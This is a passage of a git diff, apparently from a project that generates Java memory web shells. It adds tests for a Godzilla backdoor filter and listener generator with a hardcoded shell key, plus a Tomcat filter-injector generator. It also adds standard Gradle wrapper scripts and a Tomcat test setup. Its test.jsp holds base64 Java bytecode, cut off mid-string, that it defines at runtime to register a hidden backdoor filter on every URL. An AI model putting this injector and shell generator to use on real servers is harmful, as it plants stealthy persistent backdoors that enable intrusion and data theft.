"org.apache.utils.CommonFilter"; + byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + } + + @Test + void generateListener() { + String className = "org.apache.utils.CommonListener"; + byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); + assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key")); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue")); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java new file mode 100644 index 00000000..3f229a9f --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memsell; + +import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; +import com.reajason.javaweb.util.ClassUtils; +import com.reajason.javaweb.util.CommonUtil; +import lombok.SneakyThrows; +import me.gv7.woodpecker.tools.common.FileUtil; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.IOUtils; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class InjectorGeneratorTest { + + InjectorGenerator injectorGenerator = new InjectorGenerator(); + + @Test + @SneakyThrows + void generateGodzilla() { + byte[] shellBytes = IOUtils.resourceToByteArray("/CommonFilter.class"); + String shellClassName = "org.apache.utils.CommonFilter"; + String injectClassName = "org.junit.jupiter.InjectUtil"; + byte[] bytes = injectorGenerator.generate(TomcatFilterInjector.class, injectClassName, shellClassName, shellBytes, "/*"); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(injectClassName, obj.getClass().getName()); + assertEquals(shellClassName, ClassUtils.invokeMethod(obj, "getClassName", null, null).toString()); + assertEquals("/*", ClassUtils.invokeMethod(obj, "getUrlPattern", null, null).toString()); + assertEquals(Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), ""), + ClassUtils.invokeMethod(obj, "getBase64String", null, null).toString()); + +// Object filter = ClassUtils.invokeMethod(obj, "getFilter", new Class[]{Object.class}, new Object[]{null}); +// assertEquals(shellClassName, filter.getClass().getName()); +// +// FileUtil.writeFile("InjectUtil.class", bytes); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 00000000..a4b76b95 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 00000000..e2847c82 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.11.1-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100755 index 00000000..f5feea6d --- /dev/null +++ b/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 00000000..9b42019c --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/integration/tomcat/docker-compose.yaml b/integration/tomcat/docker-compose.yaml new file mode 100644 index 00000000..1c208765 --- /dev/null +++ b/integration/tomcat/docker-compose.yaml @@ -0,0 +1,7 @@ +services: + tomcat8: + image: tomcat:8.5.100-jre8 + ports: + - "8888:8080" + volumes: + - ./test.war:/usr/local/tomcat/webapps/test.war \ No newline at end of file diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 00000000..24e59328 --- /dev/null +++ b/settings.gradle @@ -0,0 +1,2 @@ +rootProject.name = 'MemShellParty' +include "vul-webapp", "generator" \ No newline at end of file diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle new file mode 100644 index 00000000..3f86e250 --- /dev/null +++ b/vul-webapp/build.gradle @@ -0,0 +1,14 @@ +plugins { + id 'war' +} + +group = 'com.reajason.javaweb.vul' +version = '1.0-SNAPSHOT' + +dependencies { + providedCompile "javax.servlet:servlet-api:2.5" +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 00000000..bb0028b5 --- /dev/null +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,8 @@ + + + + index.html + + \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/index.html b/vul-webapp/src/main/webapp/index.html new file mode 100644 index 00000000..653debaa --- /dev/null +++ b/vul-webapp/src/main/webapp/index.html @@ -0,0 +1 @@ +

hello

\ No newline at end of file diff --git a/vul-webapp/src/main/webapp/test.jsp b/vul-webapp/src/main/webapp/test.jsp new file mode 100644 index 00000000..e2fadeab --- /dev/null +++ b/vul-webapp/src/main/webapp/test.jsp @@ -0,0 +1,22 @@ +<% + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try{ + classLoader.loadClass("org.junit.cq.DateUtil").newInstance(); + }catch (Exception e){ + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + String bytecodeBase64 = "yv66vgAAADQB9woAGwETCgCEARQLARUBFgsBFwEYCwEXARkJARoBGwgBHAoBHQEeCgCEAR8HASAKAAoBEwoACgEhCAEiCgAKASMKAAoBJAoAhAElBwEmCAEnCAEoCAEpCgAXASoIASsHASwHAS0KABcBLgoAFwEvBwEwCgExATIHAKwIATMIATQKABsBNQgBNgcBNwoAIgETBwE4CgAkATkHAToKACYBOwoAJgE8CgAiAT0KACIBPgoAFwE/BwFACgAXAUEKACwBQgoBQwFECgFDAUUKAIQBRgoAFwFHCgExAUgKABgBSQoBMQFKCgAXAUsHAUwKADcBQgoBMQFEBwFNBwFOCgA6AU8KADsBQgcBUAoAPgETBwFRCAFSCgCEAVMHAOsKAEABSAgBVAoAGAFVCAFWCgCEAVcIAVgIAOQHAVkKAEsBWgsBWwEWCgBLAUUKABcBSAgBXAsBFQFdCAFeCgBAAV8KABcBJAgBYAgBYQgBYggAjQoAOwFjCgBAAWQKABcBZQoAhAFmCgBhAWcKAIQBaAoAhAFpCgCEAWoHAWsIAPQJAWwBbQoBbAFuBwFvCgEdAXAIAXEKABgBcgoAGAFzCgCEAXQKAIQBdQgBdggBdwgBeAgBeQgBegoAFwF7CAF8CAF9CAF+CAF/CAGACAGBCgCEAYIIAYMKABcBhAgBhQgBhggBhwoBiAFECgGIAYkIAQUHAYoLAIEBiwoAEQGMBwGNCgCEARMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEABHRoaXMBAENMY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAY0HAY4HAY8HASYBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAxnZXRDbGFzc05hbWUBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zBwGQAQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADGRlY29kZXJDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAOY29tcHJlc3NlZERhdGEBAAJbQgEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBNwcBOAcBOgEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHZhcjUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEABHZhcjABAAR2YXIxAQAEdmFyMgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAR2YXIzBwGRBwEsBwFAAQAMaW52b2tlTWV0aG9kAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQcBkgEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAANvYmoBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAFY2xhenoBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAZMHATAHAS0HANMHANUHAM0HAUwHAU0BAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7AQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcBUQcBWQEACVNpZ25hdHVyZQEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJZ2V0RmlsdGVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAtkZWZpbmVDbGFzcwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsHAWsHAW8BAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAljbGFzc05hbWUBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwEDBwGUBwGVAQARZ2V0Q2F0YWxpbmFMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQwAhgCHDADhAOIHAY4MAZYBlwcBjwwBmAGZDAGaAZsHAZwMAK0BnQEAFj09PT09PT09PT09PT09PT09PT09PT0HAZ4MAZ8BoAwA8QDyAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAaEBogEAB2lzIGhlcmUMAaEBowwBpACaDAD9AP4BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQACLyoBAAABABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAGlAaYBAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nDAGnAagMAakBmwEAEGphdmEvbGFuZy9PYmplY3QHAZMMAaoBqwEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyDAGsAa0BAAZkZWNvZGUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0MAIYBrgEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtDACGAa8MAbABsQwBsgGzDAG0AbUMAbYBtwEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgwBuAGtDACGAaAHAZEMAbkBugwBuwDyDADFAMkMAbwBvQwBvgCaDAG/AcAMAcEBwgwBwwGoAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAcQAmgEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwwAxQC6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBxQHGAQAGdGFyZ2V0DAC5ALoBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBxwHIBwHJAQAPU3RhbmRhcmRDb250ZXh0DAHKAcABABVUb21jYXRFbWJlZGRlZENvbnRleHQMAcsBDwEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyAQAJcmVzb3VyY2VzDACGAcwMAc0BzgwBzwEPDACbAJoMAdABpgwAnACaDACfAKAMAKkAqgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcB0QwB0gCiDAHTAdQBABNqYXZhL2xhbmcvVGhyb3dhYmxlDAGfAdUBAAEuDAHWAdcMAdgB2QwBDgEPDAD5APoBAA1maW5kRmlsdGVyRGVmAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlckRlZgEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAwBpQHaAQANc2V0RmlsdGVyTmFtZQEADnNldEZpbHRlckNsYXNzAQAMYWRkRmlsdGVyRGVmAQANc2V0RGlzcGF0Y2hlcgEAB1JFUVVFU1QBAA1hZGRVUkxQYXR0ZXJuDACZAJoBADBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDb25maWcMAdsB3AEADXNldFVSTFBhdHRlcm4BABJhZGRGaWx0ZXJNYXBCZWZvcmUBAAxhZGRGaWx0ZXJNYXAHAd0MAakB3gEADWphdmEvdXRpbC9NYXAMAd8B4AwB4QCHAQBBY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAUoW0IpVgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABHJlYWQBAAUoW0IpSQEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAApnZXRNZXNzYWdlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2Vxd